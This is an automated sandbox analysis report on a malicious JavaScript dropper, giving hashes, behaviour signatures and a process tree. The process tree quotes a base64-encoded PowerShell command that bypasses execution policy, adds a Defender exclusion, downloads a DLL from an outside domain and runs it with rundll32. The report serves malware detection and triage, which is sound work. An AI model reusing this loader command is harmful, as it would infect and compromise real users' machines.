b723e10c70777c44286b4f8a5befd2db7921bf24579724cd92011477c31baa59

Analysis

max time kernel
31s
max time network
33s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
14/03/2023, 01:30

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General

Target

C.UnUqFlu.3799.js
Size

126KB
MD5

30ebf931943208a070ef8fd69b2cabde
SHA1

c01927dd3655efc00ccb499bdbaaeec4290b4214
SHA256

b723e10c70777c44286b4f8a5befd2db7921bf24579724cd92011477c31baa59
SHA512

86ae081411b3603cc99a41b0e56f66ce3b6395ab42d1a2b0e7aaeba953c6f24c5c1e9de278ac537f88929dd664e687a692427ba542bab069cd679b22d3c0843c
SSDEEP

1536:VaGunY8skGPJOXbJT8pWZM4PmG8/twnjCxsk390Y5c+Si56GqLJQv0IkCH4Vq6OQ:VO0k4Oblp9LXW+GRslrka

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
1968	powershell.exe
1968	powershell.exe
1968	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1968	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2008 wrote to memory of 1968	2008	wscript.exe	28
PID 2008 wrote to memory of 1968	2008	wscript.exe	28
PID 2008 wrote to memory of 1968	2008	wscript.exe	28
PID 1968 wrote to memory of 1060	1968	powershell.exe	30
PID 1968 wrote to memory of 1060	1968	powershell.exe	30
PID 1968 wrote to memory of 1060	1968	powershell.exe	30

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\C.UnUqFlu.3799.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2008
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "JABwAHIAZQBwAHIAaQBuAHQAZQBkACAAPQAgAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIABIAEsAQwBVADoAXABcAFMATwBGAFQAVwBBAFIARQBcAFwAYgBsAGkAcwBzAGYAdQBsAG4AZQBzAHMASABvAHIAbgBpAGYAaQBjAGEAdABpAG8AbgAgAHwAIAAlAHsAJABfAC4AQQB1AHIAaQBjAHUAbABvAHYAZQBuAHQAcgBpAGMAdQBsAGEAcgB9ADsAIAAkAHAAcgBlAHAAcgBpAG4AdABlAGQAIAA9ACAAIgB1AG4AcwBlAG4AcwBhAHQAZQBPAGsAbwBuAGkAbwBzAGkAcwAiACAAKwAgACQAcAByAGUAcAByAGkAbgB0AGUAZAA7ACAAWwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoAZgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAcAByAGUAcAByAGkAbgB0AGUAZAApACkAOwAgAFsAYwBsAGEAcwBzAGkAYwB5AGMAMQBdADoAOgBFAHgAZQBjAHUAdABlACgAIgBwAG8AdwBlAHIAcwBoAGUAbABsACAALQBlAHgAZQBjAHUAdABpAG8AbgBwAG8AbABpAGMAeQAgAGIAeQBwAGEAcwBzACAALQB3AGkAbgBkAG8AdwBzAHQAeQBsAGUAIABoAGkAZABkAGUAbgAgACIAIgBgACQAYwB1AHIAcgBlAG4AdABEAHIAaQB2AGUAIAA9ACAAYAAoAGcAZQB0AC0AbABvAGMAYQB0AGkAbwBuAGAAKQAuAEQAcgBpAHYAZQAuAE4AYQBtAGUAIAArACAAJwA6AFwAJwA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAGAAJABjAHUAcgByAGUAbgB0AEQAcgBpAHYAZQA7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADMAOwByAGUAZwAgAGQAZQBsAGUAdABlACAASABLAEUAWQBfAEMAVQBSAFIARQBOAFQAXwBVAFMARQBSAFwAUwBPAEYAVABXAEEAUgBFAFwARABpAHMAdABhAGkAbgBzAFMAZQBtAGkAcABlAHQAcgBpAGYAaQBlAGQAIAAvAHYAIABBAHUAcgBpAGMAdQBsAG8AdgBlAG4AdAByAGkAYwB1AGwAYQByACAALwBmACIAIgAiACkAOwBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAzADsASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAAaAB0AHQAcABzADoALwAvAG8AbgB1AHIAbQBtAGQAdgAuAGMAbwBtAC8AZQBBAE4AUwAvADEAMgAwACAALQBPACAAJABlAG4AdgA6AFQARQBNAFAAXABCAGUAYQB0AGEAYgBsAGUAUwB0AGkAYwBrAHMAZQBlAGQALgBkAGwAbAA7AHMAdABhAHIAdAAgAHIAdQBuAGQAbABsADMAMgAgACQAZQBuAHYAOgBUAEUATQBQAFwAXABCAGUAYQB0AGEAYgBsAGUAUwB0AGkAYwBrAHMAZQBlAGQALgBkAGwAbAAsAFgAUwA4ADgAOwA="
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1968
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" C:\Users\Admin\AppData\Local\Temp\\BeatableStickseed.dll XS88
    3⤵
    PID:1060

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1968-58-0x000000001B120000-0x000000001B402000-memory.dmp

Filesize
2.9MB

Download
memory/1968-59-0x0000000002040000-0x0000000002048000-memory.dmp

Filesize
32KB

Download
memory/1968-60-0x0000000002590000-0x0000000002610000-memory.dmp

Filesize
512KB

Download
memory/1968-61-0x0000000002590000-0x0000000002610000-memory.dmp

Filesize
512KB

Download
memory/1968-62-0x0000000002590000-0x0000000002610000-memory.dmp

Filesize
512KB

Download
memory/1968-63-0x0000000002590000-0x0000000002610000-memory.dmp

Filesize
512KB

Download